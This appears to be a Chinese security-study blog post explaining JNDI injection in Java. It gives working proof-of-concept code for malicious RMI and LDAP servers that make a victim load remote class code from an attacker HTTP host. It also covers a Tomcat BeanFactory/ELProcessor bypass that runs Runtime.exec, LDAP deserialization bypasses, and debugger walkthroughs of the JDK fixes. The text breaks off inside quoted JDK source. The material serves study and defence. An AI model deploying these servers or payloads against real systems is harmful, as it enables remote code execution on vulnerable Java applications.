JNDI注入分析
2024-09-13 09:14:17 # javasec # basic

JNDI介绍

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

简单来讲就是jndi是一个java用于访问命名目录服务如ldap,rmi等的一个接口,类似于jdbc,他只是提供了一个接口,然后不同服务针对其进行实现,使得我们能够通过jndi这个接口去连接ldap,rmi,dns等各种命名与服务有映射关系的服务

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

简单讲解下这几个服务:

DNS:就是系统将计算机电脑的名称和IP进行关联,通过指定域名就能解析出对应的ip

RMI:这个前面学习过,其实就是名称与远程对象进行关联,通过一个指定的字符串就能获取到对应的远程对象

LDAP:轻量级目录访问协议,是以前DAP的升级版,用来存储用户身份信息的服务,而LDAP是访问该服务的协议,他的结构是树状的,所以读性能比较好,但是写性能比较差,适用于大量读的场景,下面举个例子

1
cn=John, o=Sun, c=US

LDAP的名称或者查询语句是这样的,以键值对的形式写出不同层级的条件,默认最右边是最高层级,也就是父节点,在c=US节点下寻找o=Sun,接着在其子节点寻找cn=John

CORBA:不会

这个图最好是看一下JNDI的包名结构就知道了

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

其中SPI就是Service Provider Interface,即服务供应接口,简单来说就是JNDI定义的一个标准接口,然后各种目录服务按照这个接口标准来进行开发,从而实现在jndi服务上支持自己所开发的目录和名称协议

JNDI注入介绍

jndi注入指的就是我们能够控制jndi连接的url,比如说我们能控制jndi字符串去访问任意rmi服务上的指定对象,这个过程肯定是通过lookup去实现的,而lookup的对象又是我们可以控制的,这就导致我们可以通过起一个恶意的rmi服务来执行代码

JNDI核心类

InitialContext

初始化上下文,这个列就是用来创建一个初始化上下文context,这里的context指的时一个目录上下文,因为jndi是命名与目录访问,所以说一个context就代表一个目录,比如说文件目录context,就代表一个文件夹,然后你可以根据文件名查找到该文件名对应的文件内容,又比如rmi服务,一个url地址对应一个context,能够通过在url后面添加远程对象名就能够查找到对应的远程对象并调用,总的来说context就相当于一个目录,他的子目录也可以使一个context,父目录也可以是context,所以context的创建取决于你想在哪个目录下进行操作

1
2
3
4
5
6
7
8
9
10
11
12
13
package JNDI;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi1 {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://192.168.19.201:8085/Exploit");

}
}

方法

1
2
3
4
5
6
7
8
9
10
//将名称绑定到对象。 
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)

Reference

Reference类从字面意思理解就知道他是起到的引用的作用,类似于c语言里面的指针不存储具体的数据内容而是存储指向该数据内容的内存地址,然后你通过寻找该地址以获取对应的内容。在命名与目录服务中也存在这种指针也叫做引用,你可以通过创建一个资源对象如(RMI远程对象地址,URL对象)的引用来绑定到命名目录服务中,然后你通过lookup获取到某个资源的时候就只能获取到该资源的Reference对象,然后你再根据该ref对象查找具体的资源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi1 {
public static void main(String[] args) throws Exception {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa", referenceWrapper);
}
}

这里创建的Reference对象需要使用ReferenceWrapper装饰器包装一下

这是因为Reference默认是没继承UnicastRemoteObject的,所以需要使用ReferenceWrapper装饰成RMI能够使用的远程对象

JDNI_RMI原生注入

直接一笔带过,因为这种方式其实底层完全调用的rmi的接口,所以说rmi该怎么打,换成initialContext也是一样的,JNDI_RMI结合注入是因为使用了Reference类,然后通过Reference进行远程URL类加载

JDNI_RMI注入

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi1 {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("evil", "evil", "http://192.168.126.128:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("RCE",referenceWrapper);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
package JNDI;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
public static void main(String[] args) throws Exception {
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1:7778/RCE");
}
}

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;

public class evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

Reference注入其实通过以上这个例子就能理解了,所以为什么会有这个Reference引用,首先我们学过了RMI协议知道一个对象是通过序列化和反序列化远程传输的,但如果这个对象特别大的时候直接传输就不太合适,所以设计了个ref用来引用这个远程对象,每个Reference对象都是能够被命名管理器(Naming Manager)解码并解析为原始对象的引用,它由地址(RefAddress)的有序列表和所引用对象的信息组成,而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java类名,以及用于创建对象的ObjectFactory类的名称和位置。

上面这个攻击例子的原理则是如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化

调试

这里jndi的调用的lookup方法是调用的rmi原生lookup,也就是RegistryContext,这里我们跟进一下,首先调用了getURLOrDefaultInitCtx的lookup

这里根据客户端传入的URL地址找到Registry注册端context,然后调用其lookup方法

接着就是调用原生rmi查询到RCE对应的远程对象是一个Reference对象,接着就调用decodeObject方法进行解析

这里的lookup还不是rmi原生的,只有调用了this.registry.lookup的才是

这些都是RMI原生解析Reference的流程,我记得前面写的rmi文章里面没写过,这里就接着跟一下,这里就是如果远程对象为引用类型,则给他类型转化成RemoteReference,然后传入getObjectInstance方法,根据Reference对象获取对象实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{

ObjectFactory factory;

// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

这里根据Reference对象获取工厂类

getObjectFactoryFromReference里调用helper.loadClass()加载evil类

然后发现没找到就判断codebase里面有没有值,有值就传到helper.loadClass()再进行一次loadClass

接着就创建一个URLClassLoader来去加载他

这次就成功加载了恶意类,这里实际上就是URL动态类加载

修复

切换成121以上的版本发现直接就爆以上错误了

接着我们跟下调试流程发现在decodeObject方法这里面在调用getObjectInstance之前多了一个判断

1
2
3
4
5
6
if (ref != null && ref.getFactoryClassLocation() != null &&
!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}

查看系统变量com.sun.jndi.rmi.object.trustURLCodebase是否为true,也就是默认不让你url远程加载

绕过

这里既然不能够远程类加载利用,那我们可以选择使用本地class类加载,比较本地classpath下的类加载不受限制

首先使getFactoryClassLocation也就是FactoryClassLocation参数为空

接着进入getObjectInstance方法内我们可以看到会通过FactoryClassName参数值调用getObjectFactoryFromReference获取到工厂类,让后调用该类的getObjectInstance方法,也就是说我们可以调用任意对象的getObjectInstance方法,可以类比反序列化寻找利用链进行绕过,但是要调用getObjectInstance的类需要实现javax.naming.spi.ObjectFactory接口

接着就找到了tomcat源码中的BeanFactory,这个工厂类是tomcat的jndi中用来创建bean对象的的工厂类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
public class BeanFactory
implements ObjectFactory {

// ----------------------------------------------------------- Constructors


// -------------------------------------------------------------- Constants


// ----------------------------------------------------- Instance Variables


// --------------------------------------------------------- Public Methods


// -------------------------------------------------- ObjectFactory Methods


/**
* Create a new Bean instance.
*
* @param obj The reference object describing the Bean
*/
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {

if (obj instanceof ResourceRef) {

try {

Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException
("Class not found: " + beanClassName);
}

BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();

Object bean = beanClass.newInstance();

/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;

if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;

/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
}

Enumeration<RefAddr> e = ref.getAll();

while (e.hasMoreElements()) {

ra = e.nextElement();
String propName = ra.getType();

if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}

value = (String)ra.getContent();

Object[] valueArray = new Object[1];

/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalAccessException|
IllegalArgumentException|
InvocationTargetException ex) {
throw new NamingException
("Forced String setter " + method.getName() +
" threw exception for property " + propName);
}
continue;
}

int i = 0;
for (i = 0; i<pda.length; i++) {

if (pda[i].getName().equals(propName)) {

Class<?> propType = pda[i].getPropertyType();

if (propType.equals(String.class)) {
valueArray[0] = value;
} else if (propType.equals(Character.class)
|| propType.equals(char.class)) {
valueArray[0] =
Character.valueOf(value.charAt(0));
} else if (propType.equals(Byte.class)
|| propType.equals(byte.class)) {
valueArray[0] = Byte.valueOf(value);
} else if (propType.equals(Short.class)
|| propType.equals(short.class)) {
valueArray[0] = Short.valueOf(value);
} else if (propType.equals(Integer.class)
|| propType.equals(int.class)) {
valueArray[0] = Integer.valueOf(value);
} else if (propType.equals(Long.class)
|| propType.equals(long.class)) {
valueArray[0] = Long.valueOf(value);
} else if (propType.equals(Float.class)
|| propType.equals(float.class)) {
valueArray[0] = Float.valueOf(value);
} else if (propType.equals(Double.class)
|| propType.equals(double.class)) {
valueArray[0] = Double.valueOf(value);
} else if (propType.equals(Boolean.class)
|| propType.equals(boolean.class)) {
valueArray[0] = Boolean.valueOf(value);
} else {
throw new NamingException
("String conversion for property " + propName +
" of type '" + propType.getName() +
"' not available");
}

Method setProp = pda[i].getWriteMethod();
if (setProp != null) {
setProp.invoke(bean, valueArray);
} else {
throw new NamingException
("Write not allowed for property: "
+ propName);
}

break;

}

}

if (i == pda.length) {
throw new NamingException
("No set method found for property: " + propName);
}

}

return bean;

} catch (java.beans.IntrospectionException ie) {
NamingException ne = new NamingException(ie.getMessage());
ne.setRootCause(ie);
throw ne;
} catch (java.lang.IllegalAccessException iae) {
NamingException ne = new NamingException(iae.getMessage());
ne.setRootCause(iae);
throw ne;
} catch (java.lang.InstantiationException ie2) {
NamingException ne = new NamingException(ie2.getMessage());
ne.setRootCause(ie2);
throw ne;
} catch (java.lang.reflect.InvocationTargetException ite) {
Throwable cause = ite.getCause();
if (cause instanceof ThreadDeath) {
throw (ThreadDeath) cause;
}
if (cause instanceof VirtualMachineError) {
throw (VirtualMachineError) cause;
}
NamingException ne = new NamingException(ite.getMessage());
ne.setRootCause(ite);
throw ne;
}

} else {
return null;
}

}
}

接着我们跟一下这个函数代码看看能够证明利用

首先创建的Reference对象需要继承ResourceRef类

接着根据传入的ClassName属性加载获取对应的Class对象,然后调用Introspector.getBeanInfo方法获取对应beanClass的详细详细

然后创建对应的bean实例对象,并且这里看到这里是调用的newInstance方法使用无参构造器进行创建对象,所以这里就使用的ELProcessor或者也可以使用GroovyShell如果有的话

接着获取ref引用对象的forceString参数,然后根据,将字符串内容分隔成不同的键值对数组形式,如果键值对中存在=,那么就将等号前面的当做属性名后面则是属性值,如果不存在=则就是无参数setter方法名

举个例子:

a=foo,bar,以逗号分隔每个需要设置的属性,如果包含等号,则对应的 setter 方法为等号后的值 foo,如果不包含等号,则 setter 方法为默认值 setBar
在后续调用时,调用 setter 方法使用单个参数,且参数值为对应属性对象 RefAddr 的值 (getContent)。因此,实际上我们可以调用任意指定类的任意方法,并指定单个可控的参数。

比如说这里传入的是<font style="color:rgb(92, 92, 92);">x=eval</font>,那么运行完的forced map就如下

这里的value就为我们想要的方法,这里是直接通过getMethod获取到的

可以看到这里并不是只能获取setter方法,而是获取只有一个字符串参数的方法

接着遍历ref的refaddr(除开特殊type字段的addr)然后看通过forced map里面获取对应的方法执行方法,也就是说到这里我们就可以执行任意存在无参构造器对象的任意单字符串参数方法,然后配合el表达式对象或者groovyshell对象从而命令执行,下面给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi1 {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(7778);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("RCE",referenceWrapper);
}
}

当然还有GroovyShell写法,对应evalute方法,没啥难度

要使用 javax.el.ELProcessor,所以需要 Tomcat 8+或SpringBoot 1.2.x+

要使用GroovyShell需要导入groovy-all依赖包

总之这个绕过方式需要tomcat8及以上依赖,总之思路就是找一个能够利用的factory工厂类

JNDI_LDAP注入

LDAP注入相当于RMI的一个绕过算是,因为RMI113的使用ban掉了远程加载,那么jndi_ldap知道191才ban掉,并且他们原理其实是一样的,都是利用Reference引用对象,不同的就是ldap使用的协议不同,并且ldap的Reference对象也不一样所以能不受rmi的trustURLCodebase限制

复现

  1. 直接上工具

https://github.com/X1r0z/JNDIMap

  1. 手动起一个ldap服务

引入ldap服务依赖包

1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package JNDI;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class jndi_ldap {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] args) {
String url = "http://192.168.126.128:8000/#evil";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;

/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}

/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

这个ldap server的代码有点难看懂,所以选择跟一下jndi注入的流程,比较这里的注入的原理跟ldap关系不大

调试

一路跟进到c_lookup这里,如果返回的attr属性里面存在javaClassName键则调用decodeObject方法进行解析java对象

com.sun.jndi.ldap.Obj.java#decodeObject,该方法功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}

接着跟进decodeReference方法,可以看到这里是直接创建了一个对象Reference对象,并且根据传入的attribute属性值

这里就对应着我们构造的ldap服务的sendResult方法,这个时候就比较好理解ldap_server的代码了

接着创建完Reference对象后就直接将该对象返回了

接着继续往c_lookup下面执行,最后调用了DirectoryManager.getObjectInstance

这里是不是很熟悉,就是jndi_rmi最后远程加载类的地方

这里面加载的逻辑也是一样的,先本地加载,不行就远程加载,可以发现ldap利用整个过程没有涉及到trustURLCode限制,直接就进入DirectoryManager.getObjectInstance了,jndi_rmi的修复就是在调用DirectoryManager.getObjectInstance之前进行了一次判断,而这里没有,所以不受限制

修复

直接就在loadClass进行判断了,需要开启com.sun.jndi.ldap.object.trustURLCodebase才能够远程加载

绕过

反序列化触发点1

绕过可以使用jndi_rmi的绕过方式,使用本地Reference引用工厂类,beanFactory,其实这个算是jndi通用的绕过方式,但是他有个缺点就是需要依赖,tomcat8或者Groovy等

这里jndi_ldap其实有个比较特殊的绕过点就是直接反序列化,前面我们在com.sun.jndi.ldap.Obj.java#decodeObject其实可以看到不仅有decodeReference还有deserializeObject,也就是如果存在序列化属性字段的话就会触发反序列化操作

进去发现就直接readObject了,通过这里我们就能够通过反序列化打链子绕过,这里给出对应的ldap_server代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package JNDI;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import sun.misc.BASE64Encoder;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.net.InetAddress;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;


public class jndi_ldap_bypass {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] argsx) {
String[] args = new String[]{"http://192.168.126.128:8000/#evil", "1234"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(jndi_ldap_bypass.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}

/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}

}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("ser.bin"));

// 方法一
//jdk8u191之后
// e.addAttribute("javaClassName", "foo");
// //getObject获取Gadget
// e.addAttribute("javaSerializedData", bytes);
//
// result.sendSearchEntry(e);
// result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

// 方法二
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(bytes));
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

这里就只修改了sendResult方法,添加了javaSerializedData字段

反序列化触发点2

第二地方就在decodeReference这里

这里如果attribute里面有javaReferenceAddress的话就会对javaReferenceAddress进行还原逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null) {

String val, posnStr, type;
char separator;
int start, sep, posn;
BASE64Decoder decoder = null;

ClassLoader cl = helper.getURLClassLoader(codebases);

/*
* Temporary Vector for decoded RefAddr addresses - used to ensure
* unordered addresses are correctly re-ordered.
*/
Vector<RefAddr> refAddrList = new Vector<>();
refAddrList.setSize(attr.size());

for (NamingEnumeration<?> vals = attr.getAll(); vals.hasMore(); ) {

val = (String)vals.next();

if (val.length() == 0) {
throw new InvalidAttributeValueException(
"malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - "+
"empty attribute value");
}
// first character denotes encoding separator
separator = val.charAt(0);
start = 1; // skip over separator

// extract position within Reference
if ((sep = val.indexOf(separator, start)) < 0) {
throw new InvalidAttributeValueException(
"malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " +
"separator '" + separator + "'" + "not found");
}
